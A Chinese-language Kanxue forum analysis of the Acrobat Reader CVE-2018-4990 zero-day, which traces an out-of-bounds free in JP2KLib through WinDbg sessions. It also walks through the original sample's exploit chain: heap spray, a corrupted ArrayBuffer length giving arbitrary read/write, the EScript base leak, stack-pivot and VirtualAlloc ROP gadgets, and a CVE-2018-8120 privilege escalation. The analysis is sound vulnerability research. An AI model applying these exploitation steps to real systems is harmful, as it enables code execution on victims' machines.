CVE-2018-4990 Acrobat Reader堆記憶體越界訪問釋放漏洞分析

Editor發表於2018-05-28

樣本MD5


bd23ad33accef14684d42c32769092a0



漏洞簡介


CVE-2018-4990是Adobe在2018年5月修復的一個Adobe DC系列PDF閱讀器的0day,原樣本配合另一個windows本地提權漏洞CVE-2018-8120一起使用,後者用來進行沙箱逃逸,關於CVE-2018-8120漏洞的分析可以參考 @Leeqwind 同學寫的《通過對比 5 月補丁分析 win32k 空指標解引用漏洞》一文。


官方公告說這是一個Double Free漏洞,但除錯發現這是一個任意地址釋放漏洞,原樣本中,在32位環境下,攻擊者可以通過這個漏洞實現對任意兩個4位元組地址的釋放。原樣本漏洞觸發前用精準的堆噴射巧妙地佈局記憶體,然後觸發漏洞,釋放可控的的兩塊大小為0xfff8的相鄰堆塊。隨後,Windows堆分配演算法自動將兩塊空閒的堆塊合併成一個大堆塊,接著立即重新使用這個大堆塊,並利用這個該堆塊的讀寫能力改寫一個ArrayBuffer物件的長度為0x66666666,從而實現任意地址讀寫。



影響版本


根據公告,這個漏洞並不影響Adobe Reader 11.x及之前的版本,根據ESET的給出的列表,影響的版本如下:


Acrobat DC (2018.011.20038 and earlier versions)

Acrobat Reader DC (2018.011.20038 and earlier versions )

Acrobat 2017 (011.30079 and earlier versions)

Acrobat Reader DC 2017 (2017.011.30079 and earlier versions)

Acrobat DC (Classic 2015) (2015.006.30417 and earlier versions)

Acrobat Reader DC (Classic 2015) (2015.006.30417 and earlier versions)



分析環境


本次除錯使用的是Adobe Acrobat Reader DC 18.11.20035,JP2Klib.lib版本為1.2.2.39492。作業系統為Windows 7 sp1 x86,偵錯程式為Windbg。



全頁堆下的crash分析


拿到樣本,我們要做的第一件事就是定位漏洞觸發點,先開啟全頁堆,開啟樣本後發現crash,現場如下:


First chance exceptions are reported beforeanyexception handling.

This exception may be expectedandhandled.

eax=d0d0d0b0 ebx=00000000ecx=d0d0d000 edx=d0d0d0b0 esi=01930000edi=01930000

eip=72676e88esp=001ba2e0ebp=001ba32ciopl=0        nv up ei ng nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000            efl=00010286

verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8:

72676e88813abbbbcdab   cmp    dword ptr [edx],0ABCDBBBBhds:0023:d0d0d0b0=????????

0:000> kv20

ChildEBP RetAddr  Args to Child

001ba32c72676f9501931000d0d0d0d001930000verifier!AVrfpDphFindBusyMemoryNoCheck+0xb8(FPO: [SEH])

001ba3507267724001931000d0d0d0d0001ba3c0verifier!AVrfpDphFindBusyMemory+0x15(FPO: [2,5,0])

001ba36c7267908001931000d0d0d0d00090d911verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x20(FPO: [2,3,0])

001ba388779169cc0193000001000002d0d0d0d0 verifier!AVrfDebugPageHeapFree+0x90(FPO: [3,3,0])

001ba3d0778d9e070193000001000002d0d0d0d0 ntdll!RtlDebugFreeHeap+0x2f(FPO: [SEH])

001ba4c4778a63a600000000d0d0d0d051b6cf98ntdll!RtlpFreeHeap+0x5d(FPO: [SEH])

001ba4e47708c6140193000000000000d0d0d0d0 ntdll!RtlFreeHeap+0x142(FPO: [3,1,4])

001ba4f86f0cecfa0193000000000000d0d0d0d0 kernel32!HeapFree+0x14(FPO: [3,0,0])

001ba50c67eb0574d0d0d0d00ee62d7452148facMSVCR120!free+0x1a(FPO: [Non-Fpo]) (CONV: cdecl) [f:\dd\vctools\crt\crtw32\heap\free.c @51]

WARNING: Stack unwind informationnotavailable. Following frames may be wrong.

001ba62c67ec64825383cfb851b6afd8000000fdJP2KLib!JP2KCopyRect+0xbae6

001ba68464e56cfc5387ae8853874fd051b6afd8JP2KLib!JP2KImageInitDecoderEx+0x24

001ba70c64e5869653834fa852148fac53834fa8AcroRd32_64860000!AX_PDXlateToHostEx+0x261843

001ba76c64e4d78552148fac001ba78c64e56640AcroRd32_64860000!AX_PDXlateToHostEx+0x2631dd

001ba77864e5664052148fac53056f7053050fc8AcroRd32_64860000!AX_PDXlateToHostEx+0x2582cc

001ba78c64a4030d52148fac53050fd053050fc8AcroRd32_64860000!AX_PDXlateToHostEx+0x261187

001ba7c864a3f92bc00100000000001653050fc8AcroRd32_64860000!PDMediaQueriesGetCosObj+0x7867d

001ba89864a3ebc6001bac40000000001065768eAcroRd32_64860000!PDMediaQueriesGetCosObj+0x77c9b

001babe864a3eb88001bac404ee49a501065717aAcroRd32_64860000!PDMediaQueriesGetCosObj+0x76f36

001bac1c64a3ea7153050e284ee49a50001bacd4AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76ef8

001bac8864a3d949c0010000000000164ee49a50AcroRd32_64860000!PDMediaQueriesGetCosObj+0x76de1

001bb0f464a3ade9001bb3e051ae2598c0010000 AcroRd32_64860000!PDMediaQueriesGetCosObj+0x75cb9

001bc8cc64a3aa5151ae2598c001000000000016AcroRd32_64860000!PDMediaQueriesGetCosObj+0x73159

001bc9a464a24ab010651702000000004ee49a50AcroRd32_64860000!PDMediaQueriesGetCosObj+0x72dc1

001bca6464a844b4000000000000000000000000AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5ce20

001bcac064a3d2d3000000000000000000000000AcroRd32_64860000!CTJPEGDecoderReadNextTile+0x2dea4

001be28c64a3aa5151ae250cc001000000000015AcroRd32_64860000!PDMediaQueriesGetCosObj+0x75643

001be36464a24ab0106539425213ef7800000000AcroRd32_64860000!PDMediaQueriesGetCosObj+0x72dc1

001be42464a22e70000000010000000000000000AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5ce20

001be46c64a13d935213ef780000000100000000AcroRd32_64860000!PDMediaQueriesGetCosObj+0x5b1e0

001be5cc64a134fa5360adbc000000010000002dAcroRd32_64860000!PDMediaQueriesGetCosObj+0x4c103

001be63464ac4a4410653bd200000000001be6d4AcroRd32_64860000!PDMediaQueriesGetCosObj+0x4b86a

001be6b464ac47514e180ef8c00100000000002dAcroRd32_64860000!CTJPEGDecoderReadNextTile+0x6e434


看過《Windows高階除錯》第6章頁堆部分的同學應該已經明白了,free地址為0xd0d0d0d0的原因是釋放了全頁堆的後置填充區域。


CVE-2018-4990 Acrobat Reader堆記憶體越界訪問釋放漏洞分析


到這裡,有經驗的同學應該已經可以猜到是因為堆記憶體的越界訪問導致釋放了堆的後置填充資料,從上面的棧回溯我們可以看到這是JP2Klib動態庫的一處呼叫導致的,如下:

001ba62c67ec64825383cfb851b6afd8000000fdJP2KLib!JP2KCopyRect+0xbae6


我們在IDA裡面看一下相應偏移處的程式碼邏輯:


count1=0;

count2=0;

if(*(v116+4) >0)

{

do

{

if(*(*(*(pObj+0x48)+0xC)+4*count1) )

{

sub_66FEA(*(*(*(pObj+0x48)+0xC)+4*count1));//從這裡進入後面的free()

count1=count2;

*(*(*(pObj+0x48)+0xC)+4*count2)=0;

}

count2=++count1;

}while( count1 <*(*(pObj+0x48)+4) );

}


將上述程式碼整理一下後可以更清楚地看到邏輯:


count=0;

if(*(v116+4) >0)

{

do

{

if(*(mem_base+4*count) )

{

free(*(mem_base+4*count));

*(mem_base+4*count)=0;

}

count++;

}while( count < max_count );

}


漏洞的根本原因


我們來監控一下max_count和while迴圈裡的count變化過程


bp JP2KLib+50588"dd eax+4 l1; g;" //獲取max_count值

bp JP2KLib+50567"r eax; r ecx; g;"//獲取mem基地址和每次迴圈的count值

bp JP2KLib+5056e"r eax; g;"       //獲取每次free()的地址


CVE-2018-4990 Acrobat Reader堆記憶體越界訪問釋放漏洞分析


利用PdfStreamDumper.exe對pdf的修改能力,我們對內嵌的javascript程式碼稍作修改,放開原始碼的一處註釋,目的是在漏洞觸發前彈個對話方塊,便於我們下斷點:


CVE-2018-4990 Acrobat Reader堆記憶體越界訪問釋放漏洞分析


0:000> bp JP2KLib+50588"dd eax+4 l1; g;"

0:000> bp JP2KLib+50567"r eax; r ecx; g;"

0:000> bp JP2KLib+5056e"r eax; g;"

0:000> g

eax=073fa1a0

ecx=00000000

17bf44d4 000000ff

eax=073fa1a0

ecx=00000001

17bf44d4 000000ff

...略去無關輸出...

eax=073fa1a0

ecx=000000fd

eax=0d0e0048

17bf44d4 000000ff

eax=073fa1a0

ecx=000000fe

eax=0d0f0048

17bf44d4 000000ff


可以看到mem_base為 073fa1a0, max_count = 0xff,當count變化到0xfd和0xfe時兩個在原js中出現得的堆地址 0x0d0e0048 和 0x0d0f0048 被釋放。

此時我們對mem_base的分配大小很感興趣,重啟windbg,觀察一下mem_base的大小,可以看到mem_base的大小為0x3f4


0:000> !heap-p-a0aaf5060

address0aaf5060foundin

_HEAP @880000

HEAP_ENTRY Size Prev Flags    UserPtr UserSize-state

0aaf504800890000 [00]  0aaf5060   003f4-(busy)

Trace:1dd977d4

7707dd6cntdll!RtlAllocateHeap+0x00000274

694ded63MSVCR120!malloc+0x00000049

674b6f34JP2KLib!JP2KTileGeometryRegionIsTile+0x00000102

674912cbJP2KLib!JP2KCodeStm::write+0x00017dcb

67490978JP2KLib!JP2KCodeStm::write+0x00017478

6749f746JP2KLib!JP2KCopyRect+0x0000acb8

674b6482JP2KLib!JP2KImageInitDecoderEx+0x00000024


到這裡漏洞的成因已經很清楚了,漏洞根源在於 max_count = 0xff,而ff*4 = 3fc,所以while迴圈可以訪問到mem_base ~ mem_base+3fc 區間的記憶體。但是我們看到mem_base對應處的記憶體大小隻有0x3f4,兩者的差值為8個位元組3fc - 3f4 = 8,於是可以藉助上述while迴圈越界訪問兩個4位元組地址並釋放,來實現任意釋放兩個地址。


於是攻擊者可以通過記憶體佈局(例如堆噴射)提供的任意兩個4位元組地址,並實現任意釋放,如下是樣本中越界釋放的兩個堆地址,他們提高堆噴射被映象佈局到相鄰的記憶體。


0:000> dd0aaf5060+3f4l2

0aaf5454 0d0e00480d0f0048


所以這本質上不是一個double free漏洞,而是任意地址釋放漏洞(原樣本在32位下可以釋放兩個任意地址)。


堆噴射佔坑+OOB釋放


攻擊者在已經知道漏洞記憶體區域大小為0x3f4的前提下,在漏洞觸發前利用精心控制大小(0x400)的堆噴射構造大量物件,然後釋放其中的一半,藉助堆分配演算法,JP2Klib在申請漏洞物件時,會從釋放的堆塊裡面直接複用一個。


CVE-2018-4990 Acrobat Reader堆記憶體越界訪問釋放漏洞分析


上述複用造成了很有意思的現象,我們在windbg下來看一下


0:000> bp JP2KLib+66f31".if(esi=3f4){}.else{g;}"

0:000> g

eax=17df5178ebx=000000fdecx=000003f4edx=00000000esi=000003f4edi=17d2ad38

eip=69496f31esp=0029a22cebp=0029a258iopl=0        nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000            efl=00000206

JP2KLib!JP2KTileGeometryRegionIsTile+0xff:

69496f31ff5010          call    dword ptr [eax+10h]  ds:0023:17df5188=63a60721

0:000> p

eax=075a9198ebx=000000fdecx=77052fe7edx=002f6c88esi=000003f4edi=17d2ad38

eip=69496f34esp=0029a22cebp=0029a258iopl=0        nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000            efl=00000202

JP2KLib!JP2KTileGeometryRegionIsTile+0x102:

69496f348bf8           mov     edi,eax

0:000> !heap-p-a75a9198

address075a9198foundin

_HEAP @2f0000

HEAP_ENTRY Size Prev Flags    UserPtr UserSize-state

075a919000810000 [00]  075a9198   003f4-(busy)

//0x400大小的堆塊busy和free交替出現

0:000> !heap-flt s400

_HEAP @2f0000

HEAP_ENTRY Size Prev Flags    UserPtr UserSize-state

002fe5d800810000 [00]  002fe5e0   00400-(busy)

...

075a817000810081 [00]  075a8178   00400-(free)

075a857800810081 [00]  075a8580   00400-(busy)

075a898000810081 [00]  075a8988   00400-(free)

075a8d8800810081 [00]  075a8d90   00400-(busy)

//075a9198本來是此處的一塊0x400大小的空閒記憶體

075a959800810081 [00]  075a95a0   00400-(busy)

075a99a000810081 [00]  075a99a8   00400-(busy)

075a9da800810081 [00]  075a9db0   00400-(busy)

075aa5b800810081 [00]  075aa5c0   00400-(busy)

075aadc800810081 [00]  075aadd0   00400-(busy)

075ab5d800810081 [00]  075ab5e0   00400-(busy)

075ab9e000810081 [00]  075ab9e8   00400-(free)

075abde800810081 [00]  075abdf0   00400-(busy)

//越界訪問後待釋放的兩個地址

0:000> dd75a9198+3f4l2

075a958c 0d0e00480d0f0048

//此時待釋放的堆塊都在使用中

075a958c 0d0e00480d0f0048

0:000> !heap-p-a0d0e0048

address0d0e0048foundin

_HEAP @2f0000

HEAP_ENTRY Size Prev Flags    UserPtr UserSize-state

0d0e004020000000 [00]  0d0e0048   0fff8-(busy)

0:000> !heap-p-a0d0f0048

address0d0f0048foundin

_HEAP @2f0000

HEAP_ENTRY Size Prev Flags    UserPtr UserSize-state

0d0f004020000000 [00]  0d0f0048   0fff8-(busy)

//對越界釋放處下斷點

0:000> bp JP2KLib+5056e

0:000> g

...

eax=0d0e0048ebx=00000000ecx=000000fdedx=00000001esi=17d2ad38edi=17e43e60

eip=6948056eesp=0029a348ebp=0029a45ciopl=0        nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000            efl=00000206

JP2KLib!JP2KCopyRect+0xbae0:

6948056e50             push    eax

0:000> p

eax=0d0e0048ebx=00000000ecx=000000fdedx=00000001esi=17d2ad38edi=17e43e60

eip=6948056fesp=0029a344ebp=0029a45ciopl=0        nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000            efl=00000206

JP2KLib!JP2KCopyRect+0xbae1:

6948056fe8766a0100      call    JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8(69496fea)

0:000> p

eax=00000001ebx=00000000ecx=77056570edx=002f0000esi=17d2ad38edi=17e43e60

eip=69480574esp=0029a344ebp=0029a45ciopl=0        nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000            efl=00000202

JP2KLib!JP2KCopyRect+0xbae6:

694805748b4648         mov     eax,dword ptr [esi+48h] ds:0023:17d2ad80=17df4ca0

//第一次越界free後,0d0e0048堆塊被釋放

0:000> !heap-p-a0d0e0048

address0d0e0048foundin

_HEAP @2f0000

HEAP_ENTRY Size Prev Flags    UserPtr UserSize-state

0d0e004020000000 [00]  0d0e0048   0fff8-(free)

0:000> !heap-p-a0d0f0048

address0d0f0048foundin

_HEAP @2f0000

HEAP_ENTRY Size Prev Flags    UserPtr UserSize-state

0d0f004020000000 [00]  0d0f0048   0fff8-(busy)

0:000> g

eax=0d0f0048

eax=0d0f0048ebx=00000000ecx=000000feedx=002f0000esi=17d2ad38edi=17e43e60

eip=6948056eesp=0029a348ebp=0029a45ciopl=0        nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000            efl=00000206

JP2KLib!JP2KCopyRect+0xbae0:

6948056e50             push    eax

0:000> p

eax=0d0f0048ebx=00000000ecx=000000feedx=002f0000esi=17d2ad38edi=17e43e60

eip=6948056fesp=0029a344ebp=0029a45ciopl=0        nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000            efl=00000206

JP2KLib!JP2KCopyRect+0xbae1:

6948056fe8766a0100      call    JP2KLib!JP2KTileGeometryRegionIsTile+0x1b8(69496fea)

0:000> p

eax=00000001ebx=00000000ecx=77056570edx=002f0000esi=17d2ad38edi=17e43e60

eip=69480574esp=0029a344ebp=0029a45ciopl=0        nv up ei pl nz na po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000            efl=00000202

JP2KLib!JP2KCopyRect+0xbae6:

694805748b4648         mov     eax,dword ptr [esi+48h] ds:0023:17d2ad80=17df4ca0

//第二次越界free後,0d0f0048堆塊被釋放,釋放過程中合併成一個大堆塊

0:000> !heap-p-a0d0f0048

address0d0f0048foundin

_HEAP @2f0000

HEAP_ENTRY Size Prev Flags    UserPtr UserSize-state

0d0e004040000000 [00]  0d0e0048   1fff8-(free)


隨後攻擊者通過以下程式碼立即將上述合併的堆塊重新使用。


CVE-2018-4990 Acrobat Reader堆記憶體越界訪問釋放漏洞分析


由於漏洞觸發前的如下堆噴射語句,0d0e0048和0d0f0048在釋放前分別代表一個長度為0x10000 - 24的ArrayBuffer物件。在UAF之後,0d0e0048+0d0e0048的記憶體變成了一個長度為0x20000-24的ArrayBuffer物件。


CVE-2018-4990 Acrobat Reader堆記憶體越界訪問釋放漏洞分析


接著攻擊者利用長度為0x20000-24的ArrayBuffer的讀寫能力去改寫釋放前0d0f0048對應ArrayBuffer物件的長度,將其改寫為0x66666666。然後利用之前構造的sprayarr陣列找到長度為0x66666666的“ArrayBuffer”物件(這時候已經是偽造的了),緊接著將其賦值給一個DataView物件藉助DataView來實現任意地址讀寫。


CVE-2018-4990 Acrobat Reader堆記憶體越界訪問釋放漏洞分析


重啟偵錯程式,來看一下上述過程:


//觀察一下前一個堆塊的大小

0:004> !heap-p-a0d0d0048

address0d0d0048foundin

_HEAP @1110000

HEAP_ENTRY Size Prev Flags    UserPtr UserSize-state

0d0d004020000000 [00]  0d0d0048   0fff8-(busy)

//觀察合併堆塊的大小

0:004> !heap-p-a0d0f0048

address0d0f0048foundin

_HEAP @1110000

HEAP_ENTRY Size Prev Flags    UserPtr UserSize-state

0d0e004040000000 [00]  0d0e0048   1fff8-(busy)

//可以看到ArrayBuffer的+0x4偏移處代表其長度

0:004> dd0d0e0048

0d0e0048 000000000001ffe80000000000000000

0d0e0058 00000000000000000000000000000000

0d0e0068 00000000000000000000000000000000

0d0e0078 00000000000000000000000000000000

0d0e0088 00000000000000000000000000000000

0d0e0098 00000000000000000000000000000000

0d0e00a8 00000000000000000000000000000000

0d0e00b8 00000000000000000000000000000000

//長度域被修改之後0d0f0048代表的“ArrayBuffer物件”的長度域被修改為了0x66666666

0:004> dd0d0f0048

0d0f0048 00000000666666660000000000000000

0d0f0058 00000000000000000000000000000000

0d0f0068 00000000000000000000000000000000

0d0f0078 00000000000000000000000000000000

0d0f0088 00000000000000000000000000000000

0d0f0098 00000000000000000000000000000000

0d0f00a8 00000000000000000000000000000000

0d0f00b8 00000000000000000000000000000000


隨後攻擊者用其初始化一個DataView物件,並藉助DataView物件實現了任意地址讀寫函式:


CVE-2018-4990 Acrobat Reader堆記憶體越界訪問釋放漏洞分析


隨後利用任意讀寫能力洩漏Escript.api基址,構造ROP:


//myarraybase=‭0x0d130058‬

//var obj1=myread(myarraybase-8);

//obj1=06bea450

//var obj2=myread(obj1+4);

0:012> dd06b25c40l2

06b25c40 67754a9006b313a0

//var obj3=myread(obj2);

0:012> dd67754a90l3

67754a90 676ab8249c0005216751966b

//var dll_base=(myread(obj3+8)-0x00010000) &0xffff0000;

0:012> ? (6751966b-10000) & ffff0000

Evaluate expression:1733296128=67500000

0:012> lmvm escript

start    end        module name

67500000677a1000  EScript    (deferred)

Image path: C:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api

Image name: EScript.api

Timestamp:        Sat Feb0302:11:272018(5A74A9CF)

CheckSum:        00000000

ImageSize:       002A1000

Fileversion:    18.11.20035.2003

Product version: 18.11.20035.2003

Fileflags:      0(Mask3F)

FileOS:         4Unknown Win32

Filetype:       2.0Dll

Filedate:       00000000.00000000

Translations:    0409.04b0

CompanyName:      Adobe Systems Incorporated

ProductName:      Adobe Acrobat Escript

InternalName:     Escript

OriginalFilename: Escript.api

ProductVersion:  18.11.20035.264147

FileVersion:     18.11.20035.264147

FileDescription:  Adobe Acrobat Escript Plug-in

LegalCopyright:   Copyright1984-2017Adobe Systems Incorporatedandits licensors.Allrights reserved.

LegalTrademarks:  Adobe, Acrobatandthe Acrobat logo are trademarks of Adobe Systems Incorporated which may be registeredincertain jurisdictions.


隨後構造ROP,填充PE資料:


CVE-2018-4990 Acrobat Reader堆記憶體越界訪問釋放漏洞分析


構造完ROP後對escript的off_259BA4全域性變數指向的指定偏移的資料進行修改:


/*

//0xC7D06

mywrite(objescript,0x6b707d06-0x6b640000+dll_base);

*/

0:012> u escript+4389f

***WARNING: Unable to verify checksumforC:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api

***ERROR: Symbolfilecouldnotbe found.  Defaulted to export symbolsforC:\Program Files\Adobe\Acrobat Reader DC\Reader\plug_ins\EScript.api-

EScript!mozilla::HashBytes+0x33229:

6754389f94             xchg    eax,esp <--stack pivot

675438a0c3              ret

...

/*

//0x4389F

mywrite(objescript+0x598,0x6b68389f-0x6b640000+dll_base);//這一步我暫時沒有完全理解

*/

0:012> u escript+c7d06

EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0x61021:

675c7d065c             pop     esp

675c7d0759             pop     ecx

675c7d0859             pop     ecx

675c7d095d             pop     ebp

675c7d0ac20400          ret    4


通過stack pivot切換執行流到ROP


0:000> dps esp-10

0d13005c 00000000

0d130060 00000000

0d130064 6973845bEScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776

0d130068 6973845bEScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776

0d13006c 6973845aEScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1775

0d130070 69787084EScript!double_conversion::DoubleToStringConverter::ToPrecision+0x1d130

0d130074 69601767EScript!mozilla::HashBytes+0x10f1

0d130078 695f230dEScript+0x230d

0d13007c 0d130058

0d130080 6960ecafEScript!mozilla::HashBytes+0xe639

0d130084 69613a4bEScript!mozilla::HashBytes+0x133d5

0d130088 0d130058//lpAddress

0d13008c 00010201//dwSize

0d130090 00001000//flNewProtect: PAGE_EXECUTE_READWRITE

0d130094 00000040//lpflOldProtect: PAGE_READWRITE

0d130098 90909090

0d13009c 41414141

...

0:000> u6973845b

EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1776:

6973845bc3              ret

0:000> u6973845a

EScript!double_conversion::DoubleToStringConverter::CreateDecimalRepresentation+0xe1775:

6973845a59             pop     ecx

6973845bc3              ret

69787084 ;importaddr of VirtualAlloc

0:000> u69601767

EScript!mozilla::HashBytes+0x10f1:

696017678b01           mov     eax,dword ptr [ecx]

69601769c3              ret

0:000> u695f230d

EScript+0x230d:

695f230d5d             pop     ebp

695f230ec3              ret

0:000> u6960ecaf

EScript!mozilla::HashBytes+0xe639:

6960ecafffe0            jmp     eax

0:000> u69613a4b

EScript!mozilla::HashBytes+0x133d5:

69613a4bffe4            jmp     esp


沙箱逃逸


ROP執行完畢後,樣本進入shellcode,shellcode執行完後,在記憶體中直接執行PE,PE利用了CVE-2018-8120進行本地提權,提權成功後可以看到沙箱程式的許可權已經由low變成了system。


CVE-2018-4990 Acrobat Reader堆記憶體越界訪問釋放漏洞分析


隨後樣本會彈出對話方塊,並向啟動項寫入一個one.vbs,one.vbs的作用是從本地http伺服器下載一個calc.exe,從這裡可以看出這個組合漏洞樣本還在測試階段。


後記


由於這個Adobe將這個漏洞歸類為Double Free,所以一開始我一直在往Double Free的方面想,導致浪費了大量時間。在這個過程中我看到了一篇非常精彩的Double Free文章《Too Much Freedom is Dangerous: Understanding IE 11 CVE-2015-2419 Exploitation》,想入門Double Free漏洞分析的同學可以好好看一下這篇文章。同時,在本地復現時我發現win7下在打了2018年3月的核心補丁後Adobe在8120的提權過程中會導致虛擬機器直接重啟,不打該補丁則一切正常,目前還未完全清楚該問題的原因。


此外,實際執行時發現bkm.execute()這一步的前一步就可以導向ROP,我暫時沒有除錯清楚最後兩步的含義,只知道是在切換執行流,也希望理解的同學可以告訴我一下。


//0x4389F, 實際執行這一步後就會觸發ROP

mywrite(objescript+0x598,0x6b68389f-0x6b640000+dll_base);

//所以這一步的作用是?

bkm.execute();


這個漏洞我從上週開始一直在花時間除錯,直到昨天下午國外 @steventseeley 發了一篇對這個漏洞的分析,當時感覺他並沒有分析清楚漏洞原因,昨晚看了 @klotxl404 和 @binjo 兩位大神在twitter上的互動後恍然大悟。今天下午看到 @steventseeley 的文章也更新了,他那篇還畫了圖,表述得非常清晰,可以先看他那篇。


這個漏洞中max_count值是否可控,以及其是否可以通過惡意的JPEG2000影像資料進行操縱,目前還暫不清楚,等待後面補充,或者等待有能力的同學進行補充。


第一次除錯Adobe Reader漏洞,不足之處請多見諒。


參考連結


《A tale of two zero-days》https://www.welivesecurity.com/2018/05/15/tale-two-zero-days/

《通過對比 5 月補丁分析 win32k 空指標解引用漏洞》https://xiaodaozhi.com/exploit/149.html

《Adobe, Me and an Arbitrary Free :: Analyzing the CVE-2018-4990 Zero-Day Exploit》https://srcincite.io/blog/2018/05/21/adobe-me-and-a-double-free.html

《Too Much Freedom is Dangerous: Understanding IE 11 CVE-2015-2419 Exploitation》https://blog.checkpoint.com/2016/02/10/too-much-freedom-is-dangerous-understanding-ie-11-cve-2015-2419-exploitation/

《Javascript DataView》http://pwdme.cc/2018/01/21/javascript-dataview/



原文連結:https://bbs.pediy.com/thread-226971.htm

本文由看雪論壇 銀雁冰 原創

轉載請註明來自看雪社群


相關文章